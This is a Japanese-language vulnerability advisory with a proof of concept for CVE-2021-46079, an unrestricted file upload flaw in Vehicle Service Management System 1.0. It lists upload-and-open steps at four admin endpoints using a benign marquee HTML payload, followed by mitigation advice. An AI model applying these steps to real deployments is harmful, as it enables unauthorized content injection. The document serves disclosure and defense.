CVE-2021-46079
エクスプロイトタイトル: Vehicle Service Management System - 「複数の」ファイルアップロードによりHTMLインジェクションが発生
CVE: CVE-2021-46079
CVSS: 7.2 高
参考情報:
説明:
Sourcecodester Vehicle Service Management System 1.0 には、無制限ファイルアップロードの脆弱性が存在します。リモートの攻撃者は悪意のあるファイルをアップロードし、HTMLインジェクションを引き起こす可能性があります。
1. Vehicle Service Management System - 'マイアカウント' (/admin/?page=user)
エクスプロイト:
- 管理パネルにログインします: http://localhost/vehicle_service/admin
- マイアカウントセクションに移動します: http://localhost/vehicle_service/admin/?page=user
ペイロード:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- 上記のHTMLコードを保存します(例: Html Injection.html)。
- マイアカウントセクションで必要な詳細をすべて入力し、アバターでHTMLファイルを参照します。
- 更新ボタンをクリックします。
- アバター画像を新しいタブで開きます。
- HTMLインジェクションが実行されます。
2. Vehicle Service Management System - 'ユーザーリスト' (/admin/?page=user/manage_user)
エクスプロイト:
- 管理パネルにログインします: http://localhost/vehicle_service/admin
- ユーザーリストセクションに移動し、「新規作成」ボタンをクリックします。
ペイロード:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- 上記のHTMLコードを保存します(例: Html Injection.html)。
- 新規ユーザー作成ページで必要な詳細をすべて入力し、アバターでHTMLファイルを参照します。
- 保存ボタンをクリックします。
- アバター画像を新しいタブで開きます。
- HTMLインジェクションが実行されます。
3. Vehicle Service Management System - '設定 - システムロゴ' (/admin/?page=system_info)
エクスプロイト:
- 管理パネルにログインします: http://localhost/vehicle_service/admin
- 設定セクションに移動します: http://localhost/vehicle_service/admin/?page=system_info
ペイロード:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- 上記のHTMLコードを保存します(例: Html Injection.html)。
- 設定セクションで必要な詳細をすべて入力し、システムロゴでHTMLファイルを参照します。
- 更新ボタンをクリックします。
- システムロゴの画像を新しいタブで開きます。
- HTMLインジェクションが実行されます。
4. Vehicle Service Management System - '設定 - ウェブサイトカバー' (/admin/?page=system_info)
エクスプロイト:
- 管理パネルにログインします: http://localhost/vehicle_service/admin
- 設定セクションに移動します: http://localhost/vehicle_service/admin/?page=system_info
ペイロード:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- 上記のHTMLコードを保存します(例: Html Injection.html)。
- 設定セクションで必要な詳細をすべて入力し、ウェブサイトカバーでHTMLファイルを参照します。
- 更新ボタンをクリックします。
- ウェブサイトカバーの画像を新しいタブで開きます。
- HTMLインジェクションが実行されます。
影響:
攻撃者は複数のエンドポイントに悪意のあるファイルをアップロードできるため、HTMLインジェクションが発生する可能性があります。
緩和策:
以下の対策を実施することを推奨します。
- ホワイトリストフィルタなしにファイル名とその拡張子を直接受け入れないこと。
- Unicode文字が必要ない場合は、ファイル名と拡張子の入力として英数字とドット1つのみを受け入れることを強く推奨します。
- サービス拒否攻撃を防ぐため、ファイルサイズを最大値に制限すること。
- アップロードディレクトリに「実行」権限を付与しないこと。
- クライアント側の検証のみに依存しないこと。